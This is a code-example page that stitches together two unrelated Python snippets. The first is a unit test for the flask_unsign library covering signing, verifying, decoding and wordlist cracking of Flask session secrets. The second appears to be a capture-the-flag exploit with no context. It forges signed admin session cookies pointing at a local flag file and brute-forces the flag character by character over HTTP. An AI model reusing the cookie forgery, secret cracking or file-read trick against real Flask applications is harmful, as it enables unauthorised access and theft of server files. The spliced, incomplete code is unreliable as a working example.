Пример #1
0
    def test_basic_functionality(self):
        kwargs = {'value': self.value, 'secret': self.secret}

        modern = flask_unsign.sign(**kwargs)
        legacy = flask_unsign.sign(**kwargs, legacy=True)

        self.assertNotEqual(modern, legacy)

        self.assertTrue(flask_unsign.verify(modern, self.secret))
        self.assertTrue(flask_unsign.verify(legacy, self.secret, legacy=True))

        self.assertFalse(flask_unsign.verify(modern, self.secret + 'x'))
        self.assertFalse(
            flask_unsign.verify(legacy, self.secret + 'x', legacy=True))

        self.assertEqual(self.value, flask_unsign.decode(modern))
        self.assertEqual(self.value, flask_unsign.decode(legacy))

        with self.assertRaises(flask_unsign.DecodeError):
            flask_unsign.decode('Hello world!')

        with self.assertRaises(flask_unsign.DecodeError):
            flask_unsign.decode('')

        with wordlist(flask_unsign.DEFAULT_WORDLIST) as iterable:
            cracker = flask_unsign.Cracker(value=modern)
            cracker.crack(iterable)
            self.assertEqual(cracker.secret, self.secret)

        with wordlist(flask_unsign.DEFAULT_WORDLIST) as iterable:
            cracker = flask_unsign.Cracker(value=legacy, legacy=True)
            cracker.crack(iterable)
            self.assertEqual(cracker.secret, self.secret)
    def foo(c, flagin):
        global quit_proc
        while True:
            q.task_done()
            # print('q size', q.qsize(), '===', 'quit_proc -', quit_proc, end='')
            if quit_proc:
                return

            txt = flagin + c
            data = {
                'admin': False,
                'data': txt.encode(),
                'url': 'FILE:///app/flag.py'
            }  # work
            secret = open('key.txt', 'r').read()
            s.cookies.clear()
            session = flask_unsign.sign(data, secret)
            cookies = {"session": session}

            url = '%s/get_hindd_result' % base_url
            res = s.get(url, cookies=cookies)

            if success_text in res.text:
                flagin += c
                print(f'char:{c}, flag = {flagin}')
                quit_proc = True
                return flagin
            else:
                if ord(c) == 127:
                    exit(0)
                print(f'{c}, {res.text}')
                return None